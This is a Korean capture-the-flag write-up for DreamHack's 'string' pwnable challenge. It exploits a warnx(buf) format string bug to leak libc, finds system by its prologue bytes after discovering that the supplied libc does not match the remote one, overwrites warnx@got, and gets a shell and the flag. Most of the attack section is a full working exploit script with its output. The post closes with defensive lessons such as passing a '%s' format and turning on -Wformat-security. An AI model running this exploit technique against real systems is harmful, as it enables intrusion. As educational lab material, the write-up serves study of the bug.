문제: DreamHack — string 분류: Pwnable 난이도: 🥇 Gold 4 FLAG:
DH{1166af5ed1d5cd46d4ec50d7d8862796}
바이너리와 소스가 같이 주어진다. 소스가 짧아서 취약점은 금방 보인다. 진짜 시간을 잡아먹은 건 그 다음이었다 — 문제가 같이 준 libc.so.6 가 원격에서 도는 libc 와 다른 빌드였다.
file extracted/string; python3 -c "from pwn import ELF; e=ELF(\"extracted/string\"); print(\"RELRO\",e.relro,\"| Canary\",e.canary,\"| NX\",e.nx,\"| PIE\",e.pie)"
No PIE 라 GOT 주소가 매번 같고, Partial RELRO 라 그 GOT 에 쓸 수 있다. NX 때문에 셸코드는 못 올리니 결론은 정해져 있다 — libc 함수를 부르게 만든다.
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | string (id 68) |
| 난이도 | 🥇 Gold 4 |
| 분류 | Pwnable |
| 제공 | string(i386 ELF) · string.c · libc.so.6 |
| 환경 | Ubuntu 16.04 / glibc 2.23 계열 |
| 보호기법 | Partial RELRO · No canary · NX · No PIE |
| 핵심 취약점 | warnx(buf) — 사용자 입력이 형식 문자열 |
흐름은 이렇다. 포맷 스트링으로 libc 주소를 유출해 base 를 잡고, 같은 버그의 쓰기 능력으로 warnx@got 를 system 으로 바꾼 뒤, 버퍼에 /bin/sh 를 넣고 Print 를 한 번 더 누른다.
🔬 소스 정찰 — 한 줄이 전부다
받은 string.c 에서 문제가 되는 부분만 보면 이렇다.
void input(char *buf) {
printf("Input: ");
read(0, buf, 255);
}
void print(char *buf) {
warnx(buf);
}
int main() {
int idx;
char buf[256];
...
while(1) {
printf("1. Input\n"); printf("2. Print\n"); printf("3. Exit\n"); printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1: input(buf); break;
case 2: print(buf); break;
default: break;
}
}
}warnx(const char *fmt, ...) 는 이름만 경고 함수지 속은 vfprintf 다. 첫 인자가 형식 문자열이고, 여기 들어가는 buf 는 우리가 read 로 채운 값이다. warnx("%s", buf) 였다면 아무 일도 없었을 텐데 warnx(buf) 라 그대로 터진다.
디스어셈블리로도 확인해 둔다.
objdump -d --no-show-raw-insn -M intel extracted/string | sed -n "/<print>:/,/ret/p"
인자를 하나만 밀어 넣고 warnx@plt 를 부른다. 그 인자가 형식 문자열이다.
무엇을 덮을지도 미리 봐 둔다.
objdump -R extracted/string | grep -E "warnx|printf|read"
warnx@got 가 0x0804a02c. 여기를 system 으로 바꾸면 다음 print(buf) 는 system(buf) 가 된다. 인자를 따로 맞출 필요도 없다 — warnx 도 system 도 첫 인자가 문자열 포인터다.
무한 루프라는 점도 크다. 유출 → 계산 → 쓰기 → 실행을 한 연결 안에서 순서대로 할 수 있다.
🧩 배경 — 형식 문자열이 주는 두 가지
포맷 스트링 버그를 "임의 쓰기"로만 기억하기 쉬운데, 실제로는 읽기와 쓰기를 둘 다 준다. 이 문제는 둘 다 쓴다.
읽기는 %s 다. %N$s 는 N번째 가변인자를 포인터로 보고 그 주소의 문자열을 출력한다. 가변인자 자리에 우리가 심은 값이 올라가 있으면, 그건 곧 "원하는 주소를 읽는" 기능이다.
쓰기는 %n 이다. 지금까지 출력한 문자 수를 N번째 가변인자가 가리키는 주소에 써 넣는다. %hn 은 2바이트, %hhn 은 1바이트만 쓴다. 32비트 주소 하나를 채우려면 %hn 두 번이면 된다.

%hn 을 쓰는 이유는 단순하다. %n 으로 4바이트를 한 번에 쓰려면 system 주소만큼(수십억) 문자를 출력해야 한다. 2바이트씩 끊으면 최대 65535 자면 된다.
🎯 오프셋 찾기 — buf 는 몇 번째 가변인자인가
%N$hn 이 쓸 주소는 "N번째 가변인자 자리에 있는 값"이다. 그러니 우리가 심은 주소가 몇 번 자리에 오는지부터 알아야 한다.
buf 는 main 의 지역 배열이고 warnx 는 print 안에서 불린다. warnx 의 가변인자 목록은 print 의 스택을 지나 main 의 프레임까지 거슬러 올라가므로, 몇 번째인지는 세는 것보다 찔러보는 게 빠르다.
# probe.py — AAAA 를 심고 %N$p 를 훑어 0x41414141 이 나오는 N 을 찾는다
probe = b"AAAA" + b"".join(b"|%%%d$p" % i for i in range(1, 21))
do_input(p, probe + b"\n")
out = do_print(p)
print("[raw]", out.decode(errors="replace").strip())
fields = out.decode(errors="replace").split("|")
for i, f in enumerate(fields[1:], start=1):
mark = " <-- buf 시작(AAAA)" if "41414141" in f else ""
print(" %%%-3d$p = %s%s" % (i, f.strip(), mark))python3 probe.py host3.dreamhack.games 10436
5번이다. %5$p 자리에서 0x41414141 이 나왔다. 그 앞의 값들도 말이 된다 — %2$p 는 0x804881f 로 main 으로 돌아갈 주소고, %4$p 의 0x2 는 방금 우리가 고른 메뉴 번호 idx 다. buf 는 idx 바로 뒤에 있다.
정리하면 buf[0:4] 가 5번, buf[4:8] 이 6번이다.
gdb 로 한 번 더 — 정말 그 자리인가
%p 로 센 결과를 그대로 믿고 페이로드를 짜다 보면 한 칸 어긋나서 헤매기 쉽다. 디버거로 스택을 직접 보고 확인했다.
# make_gdb_input.py — stdin 이 파일이면 read 가 남은 걸 통째로 삼키니
# 페이로드를 정확히 255바이트로 채워 한 번의 read 가 딱 그만큼만 가져가게 한다
payload = pack("<I", WARNX_GOT) + b"%61c%5$hn"
payload = payload.ljust(255, b"X")
Path("gdb_input.bin").write_bytes(b"1\n" + payload + b"2\n")# cmds.gdb — warnx 호출 직전과 직후에 멈춘다
break *0x804876e
break *0x8048773
run < gdb_input.bin
printf "esp = %p (esp+0 은 warnx 의 형식 문자열 인자)\n", $esp
x/8wx $esp
printf "\n5번째 가변인자 자리 = esp+0x14 = %p\n", $esp+0x14
x/s $esp+0x14
printf "\n덮어쓰기 전 warnx@got(0x804a02c) = "
x/wx 0x804a02c
continue
printf "\n덮어쓰기 후 warnx@got(0x804a02c) = "
x/wx 0x804a02c
kill%61c 를 넣은 건 캡쳐 때문이다. 주소 4바이트 + 61칸 = 65 = 0x41 이라, 결과가 한눈에 알아보기 좋은 값으로 떨어진다.
python3 make_gdb_input.py; gdb -q -batch -x cmds.gdb ./extracted/string 2>&1 | grep -v XXXX
두 가지가 한 화면에서 확인된다.
esp+0x14 를 문자열로 찍으니 우리가 넣은 페이로드가 그대로 나온다. 다섯 번째 가변인자 자리가 곧 buf 다.
그리고 warnx@got 가 0x08048566 → 0xf7e70041 로 바뀌었다. 하위 2바이트가 0x0041 = 65, 출력한 문자 수 그대로다. 상위 2바이트가 0xf7e7 로 채워진 건 이번 호출에서 warnx 가 지연 바인딩으로 해석돼 실제 libc 주소가 들어갔기 때문이다. 그 위에 우리가 하위 절반만 덮어쓴 상태다.
🐛 삽질 — 유출은 되는데 값이 안 맞는다
여기서부터 두 번 걸렸다.
▶🐛 삽질 1 — 구분자로 쓴 '|' 가 libc 주소 안에 들어 있었다
처음엔 유출을 이렇게 짰다. 주소를 buf 앞에 심고 %5$s 로 따라 읽은 뒤, 앞뒤를 | 로 감싸 잘라 쓰는 흔한 방식이다.
send_buf(p, p32(PRINTF_GOT) + b"|%5$s|")
line = do_print(p)
leak_raw = line.split(b"|")[1]
printf_addr = u32(leak_raw[:4])로컬에선 잘 되다가 원격에서 unpack requires a buffer of 4 bytes 로 죽었다. 잘라낸 값이 b'0' 한 바이트였다.
유출되는 건 사람이 읽는 문자열이 아니라 주소 4바이트 그대로다. 0x7c 는 | 의 아스키 코드이고, libc 주소 바이트에 0x7c 가 섞이는 건 흔한 일이다. 그날 뽑힌 주소에 하필 그게 들어 있어서 split 이 엉뚱한 데서 잘렸다.
ASLR 때문에 연결마다 주소가 달라지니, 어제는 되고 오늘은 안 되는 식으로 재현도 들쭉날쭉했다. 구분자를 버리고, 우리가 심어 둔 주소 4바이트를 앵커로 찾아 그 뒤를 읽는 방식으로 바꿨다.
그래도 유출 첫 4바이트에 개행(0x0a)이 끼면 recvline 이 거기서 잘라 버린다. 이건 파싱으로 못 막으니 연결을 새로 열어 ASLR 을 다시 뽑는 재시도를 넣었다.
▶🐛 삽질 2 — 페이지 정렬된 주소는 형식 문자열을 끊어 버린다
libc base 가 맞는지 확인하려고 그 주소를 %s 로 읽어 ELF 매직을 보려 했는데, 응답이 계속 빈 문자열이었다.
send_buf(p, p32(base) + b"%5$s") # base = 0xf7e00000당연한 일이었다. base 는 페이지 정렬이라 하위 바이트가 항상 0x00 이다. 그 주소를 형식 문자열 맨 앞에 두면 vfprintf 는 첫 글자에서 문자열이 끝났다고 보고 아무것도 출력하지 않는다.
read 는 널을 그대로 받아 주지만, 그 뒤에 오는 warnx 는 C 문자열로 다룬다는 걸 잊고 있었다.
해결은 순서를 바꾸는 것이다. 지시자를 앞 4바이트에 쓰고 주소는 그 뒤에 둔다. buf[4:8] 은 여섯 번째 가변인자이므로 %6$s 로 가리킬 수 있고, 주소 안의 널은 오히려 형식 문자열을 깔끔하게 끝내 준다.
p.send(b"%6$s" + p32(addr) + b"\x00")이 형태 하나로 널이 든 주소든 아니든 다 읽힌다. 이후 임의 읽기는 전부 이걸로 통일했다.
💣 핵심 — 문제가 준 libc 가 원격과 다르다
유출은 되기 시작했는데 계산이 안 맞았다. printf@got 에서 얻은 주소에서 배포 libc 의 printf 오프셋을 빼니 base 가 0xf7d45010 처럼 나왔다. 페이지 정렬이 아니다. mmap 으로 올라간 라이브러리 base 는 반드시 0x...000 이어야 한다.
그래서 세 심볼을 한 연결 안에서 유출해 비교하는 스크립트를 만들었다.
# diag.py — 같은 ASLR 안에서 세 GOT 를 읽고, base 후보에서 ELF 매직을 직접 확인한다
leaks = {}
for name in ("printf", "puts", "read"):
raw = read_at(elf.got[name])
if len(raw) >= 4:
leaks[name] = u32(raw[:4])
print("[leak] %-7s@got = %#x (제공libc 기준 base %#x)"
% (name, leaks[name], leaks[name] - libc.symbols[name]))
ref = leaks["printf"]
cands = sorted({ref - libc.symbols["printf"], (ref - libc.symbols["printf"]) & ~0xFFF})
for c in cands:
got = read_at(c)
print(" %#x -> %-20r %s" % (c, got[:8], "★ ELF 헤더 확인" if got.startswith(b"\x7fELF") else "아님"))python3 diag.py host3.dreamhack.games 10436
답이 나왔다. 페이지 경계로 내린 주소를 %s 로 읽으니 \x7fELF 가 그대로 찍혔다. base 는 그쪽이 맞고, 배포된 libc 의 오프셋이 원격과 다르다.
| 심볼 | 배포 libc | 원격 실측 | 차이 |
|---|---|---|---|
printf | 0x49020 | 0x49030 | +0x10 |
puts | 0x5f140 | 0x5f150 | +0x10 |
read | 0xd4350 | 0xd4460 | +0x110 |

어긋난 폭이 균일하지 않다는 게 중요하다. 전부 +0x10 이면 상수 하나 더해서 끝낼 텐데, read 는 +0x110 이다. 코드가 중간중간 끼어든 다른 빌드라는 뜻이고, system 이 얼마나 밀렸는지는 따로 확인하지 않으면 알 수 없다.
system 을 바이트로 찾는다
주소를 모르면 읽어서 찾으면 된다. 우리에겐 임의 읽기가 있다.
배포 libc 의 system 앞부분은 이렇게 생겼다.
3a940: 83 ec 0c sub esp, 0xc
3a943: 8b 44 24 10 mov eax, DWORD PTR [esp+0x10]
3a947: e8 41 29 0e 00 call ... <- 이 뒤는 빌드마다 달라진다앞 7바이트 83 ec 0c 8b 44 24 10 은 함수 본문이라 빌드가 달라도 그대로다. 반면 그 뒤 call 의 변위는 재배치에 따라 바뀐다. 그래서 앞 7바이트만 표식으로 삼는다.
# find_system.py — 배포본 프롤로그를 표식 삼아 예상 위치 근처를 훑는다
ref = libc.read(libc.symbols["system"], 16)
sig = ref.split(b"\x00")[0][:7]
print("표식(배포본 system 프롤로그) = %s\n" % sig.hex(" "))
for d in (0x0, 0x10, 0x20, -0x10, 0x110):
off = libc.symbols["system"] + d
got = read_at(base + off)
hit = got.startswith(sig)
print(" 배포본%+#6x -> %#x : %-24s %s"
% (d, base + off, got[:8].hex(" "), "★ system 확정" if hit else ""))python3 find_system.py host3.dreamhack.games 10436
+0x10 에서 정확히 일치했다. 배포본 오프셋 자리(+0x0)에는 83 c4 10 5b 5e 5f c3 — 다른 함수의 에필로그가 놓여 있다. 그대로 호출했으면 스택만 망가뜨리고 죽었을 것이다.
🚀 Full Exploit
지금까지의 결론을 한 파일로 묶었다. 오프셋을 하드코딩하지 않고 base 와 system 을 매번 실측으로 확정하기 때문에, libc 가 또 바뀌어도 그대로 돈다.
#!/usr/bin/env python3
"""string (DreamHack #68, Gold 4 pwnable) — warnx 포맷 스트링으로 GOT 덮어쓰기."""
import re
import sys
from pwn import ELF, context, process, remote, p32, u32
context.arch = "i386"
context.log_level = "error"
BIN = "./extracted/string"
REMOTE = len(sys.argv) > 2
HOST, PORT = (sys.argv[1], int(sys.argv[2])) if REMOTE else (None, None)
LIBC_PATH = "./extracted/libc.so.6" if REMOTE else "/lib/i386-linux-gnu/libc.so.6"
elf = ELF(BIN)
libc = ELF(LIBC_PATH)
PRINTF_GOT = elf.got["printf"]
WARNX_GOT = elf.got["warnx"]
OFF = 5 # buf[0:4] 가 warnx 가변인자 5번 (probe.py 로 확인)
def start():
return remote(HOST, PORT) if REMOTE else process(BIN)
def menu(p, choice):
p.recvuntil(b"> ")
p.sendline(str(choice).encode())
def send_buf(p, data):
"""1. Input — buf 는 재사용되니 항상 NULL 로 끝을 막는다."""
menu(p, 1)
p.recvuntil(b"Input: ")
p.send(data + b"\x00")
def read_at(p, addr):
"""addr 가 가리키는 문자열을 읽는다 (임의 읽기).
주소를 buf 맨 앞에 두면 0x00 이 든 주소에서 형식 문자열이 끊긴다.
지시자를 앞 4바이트에 쓰고 주소는 buf[4:8] = 여섯 번째 가변인자 자리에 둔다.
"""
send_buf(p, b"%6$s" + p32(addr))
menu(p, 2)
body = p.recvline().rstrip(b"\n")[len(b"string: "):]
tail = p32(addr).split(b"\x00")[0] # NULL 앞까지는 리터럴로 찍힌다
return body[:-len(tail)] if tail and body.endswith(tail) else body
def leak_base():
"""libc base 확정. 못 믿을 유출이면 연결을 새로 열어 ASLR 을 다시 뽑는다."""
for attempt in range(1, 11):
p = start()
raw = read_at(p, PRINTF_GOT)
if len(raw) >= 4:
base = (u32(raw[:4]) - libc.symbols["printf"]) & ~0xFFF
if base > 0 and read_at(p, base).startswith(b"\x7fELF"):
print("[1] printf@libc = %#x (시도 %d회)" % (u32(raw[:4]), attempt))
print("[2] libc base = %#x (ELF 매직으로 검증)" % base)
return p, base
print(" [!] 유출 %r — 개행/NULL 에 걸렸다. 재연결." % raw[:8])
p.close()
raise RuntimeError("libc base 확정 실패")
def find_system(p, base):
"""원격 libc 는 배포본과 다른 빌드라, 프롤로그 바이트로 system 을 찾는다."""
ref = libc.read(libc.symbols["system"], 16)
sig = ref.split(b"\x00")[0][:7]
print("[3] system 프롤로그 표식 = %s" % sig.hex(" "))
deltas = [0, 0x10, 0x20, -0x10, 0x30, -0x20, 0x40, -0x30]
deltas += [d for d in range(-0x800, 0x801, 0x10) if d not in deltas]
for d in deltas:
off = libc.symbols["system"] + d
if off <= 0:
continue
if read_at(p, base + off).startswith(sig):
print("[4] system = %#x (배포본 오프셋 %+#x)" % (base + off, d))
return base + off
raise RuntimeError("system 을 못 찾았다")
p, base = leak_base()
system = find_system(p, base)
# warnx@got <- system (2바이트씩 두 번)
lo, hi = system & 0xFFFF, (system >> 16) & 0xFFFF
addrs = p32(WARNX_GOT) + p32(WARNX_GOT + 2) # 가변인자 5번, 6번 자리
first, second = (lo, hi) if lo <= hi else (hi, lo)
slot1, slot2 = (OFF, OFF + 1) if lo <= hi else (OFF + 1, OFF)
fmt = b"%%%dc%%%d$hn" % (first - len(addrs), slot1)
fmt += b"%%%dc%%%d$hn" % ((second - first) % 0x10000, slot2)
print("[5] 쓰기 페이로드 %d바이트 (하위 %#06x, 상위 %#06x)" % (len(addrs + fmt), lo, hi))
send_buf(p, addrs + fmt)
menu(p, 2) # 이 warnx 호출이 곧 쓰기다
p.recvline()
# system("/bin/sh")
send_buf(p, b"/bin/sh")
menu(p, 2) # 이제 warnx@plt 는 system 이다
p.sendline(b"echo SHELL_OK; ls; cat flag")
out = p.recvrepeat(4)
print("[6] 셸 응답:")
print(out.decode(errors="replace").strip())
m = re.search(rb"DH\{[^}]+\}", out)
if m:
print("\n[+] FLAG = %s" % m.group().decode())
else:
p.interactive()쓰기 순서를 값 크기로 정렬한 건 %n 의 성질 때문이다. 출력한 문자 수는 누적이라 줄어들지 않으니, 큰 값을 먼저 쓰면 작은 값은 다시 만들 수 없다. 작은 쪽부터 쓰고 차이만큼 더 찍는다.
먼저 로컬에서 확인했다. 로컬은 시스템의 32비트 libc 를 쓰므로 system 이 배포본 오프셋 그대로(+0x0)에서 잡힌다 — 같은 코드가 두 환경을 다 커버한다는 확인도 된다.
python3 solve.py
여기 보이는 DH{LOCAL_TEST_FLAG} 는 로컬 확인용으로 직접 만들어 둔 더미 파일이다. 진짜 플래그는 문제 서버에만 있다.
python3 solve.py host3.dreamhack.games 10436
[4] system = 0xf7e3c950 (배포본 오프셋 +0x10)
[6] 셸 응답:
SHELL_OK
flag
string
DH{1166af5ed1d5cd46d4ec50d7d8862796}재현
로컬 검증과 라이브 회수를 한 번에 도는 스크립트도 남겼다. 이 문제의 플래그는 서버 파일이라 오프라인으로는 만들 수 없으니, 주소가 없으면 로컬 셸 획득까지만 확인하고 정직하게 끝낸다.
./reproduce.sh host3.dreamhack.games 10436
📝 결론
warnx(buf) 는 printf(buf) 와 똑같이 위험하다
이름이 경고 함수라 그냥 로그 찍는 함수로 넘기기 쉽지만, warnx·warn·err·errx·syslog 는 전부 첫 인자가 형식 문자열이다. 상수 문자열만 넘긴다는 보장이 없으면 warnx("%s", buf) 로 감싸야 한다.
컴파일러도 잡아 준다. -Wformat-security 를 켜면 "format not a string literal and no format arguments" 경고가 뜬다. 기본으로 켜져 있지 않을 뿐이다.
보호기법이 하나만 빠져도 경로가 열린다
NX 가 켜져 있어 셸코드는 못 쓴다. 하지만 Partial RELRO 라 GOT 가 쓰기 가능하고, No PIE 라 그 주소가 고정이다. Full RELRO 였다면 GOT 는 읽기 전용이라 이 경로가 막히고, PIE 였다면 주소를 한 번 더 유출해야 했다.
바꿔 말하면 이 문제에서 정말 결정적이었던 건 포맷 스트링 자체가 아니라 "쓸 수 있는 고정 주소"가 존재했다는 점이다.
모르는 값은 계산하지 말고 읽어라
이번에 제일 오래 붙잡은 건 취약점이 아니라 libc 였다. 문제가 준 파일이 원격과 같으리라는 건 그냥 가정이고, 여기선 그 가정이 틀렸다. 게다가 어긋난 폭이 심볼마다 달라서 보정 상수 하나로도 못 넘겼다.
포맷 스트링은 임의 쓰기만 주는 게 아니라 임의 읽기도 준다. base 는 ELF 매직을 직접 읽어 확인하고, system 은 프롤로그 바이트로 찾으면 오프셋 표를 아예 안 믿어도 된다. 익스가 환경에 덜 흔들리게 되는 건 덤이다.
read 오프셋이 +0x110 이나 어긋난 것도 참고가 된다. 심볼 하나로 base 를 잡고 끝냈다면 그게 하필 read 였을 때 조용히 틀린 주소를 갖고 계속 갔을 것이다. 서로 다른 심볼 두 개로 교차 확인하는 습관이 그래서 필요하다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…